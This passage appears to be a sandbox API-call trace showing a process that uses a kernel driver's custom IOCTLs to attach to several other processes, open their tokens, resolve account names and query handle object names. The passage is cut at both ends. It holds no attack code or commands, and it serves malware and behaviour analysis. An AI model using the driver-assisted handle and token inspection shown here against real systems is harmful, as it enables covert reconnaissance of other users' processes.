Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.446] PsAcquireProcessExitSynchronization () returned 0x0 [0072.446] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054f85d0) [0072.446] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.446] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.446] PsReleaseProcessExitSynchronization () returned 0x2 [0072.446] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0072.446] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a06044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a06044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.446] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.446] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.446] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.446] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x320) returned 0xc0 [0072.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.446] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001fcf060, HandleInformation=0x0) returned 0x0 [0072.446] ObOpenObjectByPointer (in: Object=0xfffffa8001fcf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000960) returned 0x0 [0072.446] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x12 [0072.446] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.446] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0072.447] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.447] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.698] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.706] CloseHandle (hObject=0xc8) returned 1 [0072.706] CloseHandle (hObject=0xc0) returned 1 [0072.706] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.710] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.710] PsAcquireProcessExitSynchronization () returned 0x0 [0072.710] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054f85d0) [0072.710] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f3d070, HandleInformation=0x0) returned 0x0 [0072.710] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.716] PsReleaseProcessExitSynchronization () returned 0x2 [0072.716] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0072.716] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.716] ObfDereferenceObject (Object=0xfffffa8001f3d070) returned 0x1 [0072.716] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.719] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.719] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0072.719] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.721] PsAcquireProcessExitSynchronization () returned 0x0 [0072.721] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054f85d0) [0072.725] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a12f20, HandleInformation=0x0) returned 0x0 [0072.728] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.728] PsReleaseProcessExitSynchronization () returned 0x2 [0072.728] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0072.728] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.729] ObfDereferenceObject (Object=0xfffffa8001a12f20) returned 0x1 [0072.729] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.729] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.729] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.729] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.729] PsAcquireProcessExitSynchronization () returned 0x0 [0072.729] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054f85d0) [0072.729] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.729] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.729] PsReleaseProcessExitSynchronization () returned 0x2 [0072.729] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0072.729] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a11044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a11044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.729] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.729] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.729] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.729] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x424) returned 0xc0 [0072.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.729] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001a17b30, HandleInformation=0x0) returned 0x0 [0072.729] ObOpenObjectByPointer (in: Object=0xfffffa8001a17b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.729] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x12 [0072.729] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.729] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.729] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.729] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.729] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.731] CloseHandle (hObject=0xc8) returned 1 [0072.731] CloseHandle (hObject=0xc0) returned 1 [0072.731] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.731] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.731] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.731] PsAcquireProcessExitSynchronization () returned 0x0 [0072.731] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054f85d0) [0072.731] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fc56e0, HandleInformation=0x0) returned 0x0 [0072.731] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.731] PsReleaseProcessExitSynchronization () returned 0x2 [0072.731] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0072.731] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a12044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a12044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.731] ObfDereferenceObject (Object=0xfffffa8001fc56e0) returned 0x1 [0072.731] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.731] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.732] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0072.732] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.732] PsAcquireProcessExitSynchronization () returned 0x0 [0072.732] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054f85d0) [0072.732] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002018270, HandleInformation=0x0) returned 0x0 [0072.732] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.732] PsReleaseProcessExitSynchronization () returned 0x2 [0072.732] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0072.732] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a13044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a13044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.732] ObfDereferenceObject (Object=0xfffffa8002018270) returned 0x1 [0072.732] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.732] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.732] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.732] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.732] PsAcquireProcessExitSynchronization () returned 0x0 [0072.732] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054f85d0) [0072.732] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.732] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.732] PsReleaseProcessExitSynchronization () returned 0x2 [0072.732] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0072.732] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a14044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a14044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.732] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.733] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.733] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.733] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3a4) returned 0xc0 [0072.733] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.733] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002015b30, HandleInformation=0x0) returned 0x0 [0072.733] ObOpenObjectByPointer (in: Object=0xfffffa8002015b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.733] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x12 [0072.733] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.733] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.733] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.733] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.733] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.734] CloseHandle (hObject=0xc8) returned 1 [0072.734] CloseHandle (hObject=0xc0) returned 1 [0072.735] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.735] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.735] PsAcquireProcessExitSynchronization () returned 0x0 [0072.735] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054f85d0) [0072.735] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800201ae00, HandleInformation=0x0) returned 0x0 [0072.735] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.735] PsReleaseProcessExitSynchronization () returned 0x2 [0072.735] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0072.735] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a15044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a15044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.735] ObfDereferenceObject (Object=0xfffffa800201ae00) returned 0x1 [0072.735] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.735] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.735] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0072.735] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.735] PsAcquireProcessExitSynchronization () returned 0x0 [0072.735] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054f85d0) [0072.735] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002015170, HandleInformation=0x0) returned 0x0 [0072.735] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.735] PsReleaseProcessExitSynchronization () returned 0x2 [0072.735] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0072.735] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a16044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a16044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.735] ObfDereferenceObject (Object=0xfffffa8002015170) returned 0x1 [0072.735] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.735] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.735] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.735] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.735] PsAcquireProcessExitSynchronization () returned 0x0 [0072.735] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054f85d0) [0072.736] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.736] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.736] PsReleaseProcessExitSynchronization () returned 0x2 [0072.736] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0072.736] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a17044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a17044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.736] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.736] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.736] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.736] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x54c) returned 0xc0 [0072.736] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.736] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020485e0, HandleInformation=0x0) returned 0x0 [0072.736] ObOpenObjectByPointer (in: Object=0xfffffa80020485e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.736] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x12 [0072.736] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.736] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.736] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.736] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.736] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.737] CloseHandle (hObject=0xc8) returned 1 [0072.738] CloseHandle (hObject=0xc0) returned 1 [0072.738] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.738] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.738] PsAcquireProcessExitSynchronization () returned 0x0 [0072.738] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054f85d0) [0072.738] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, 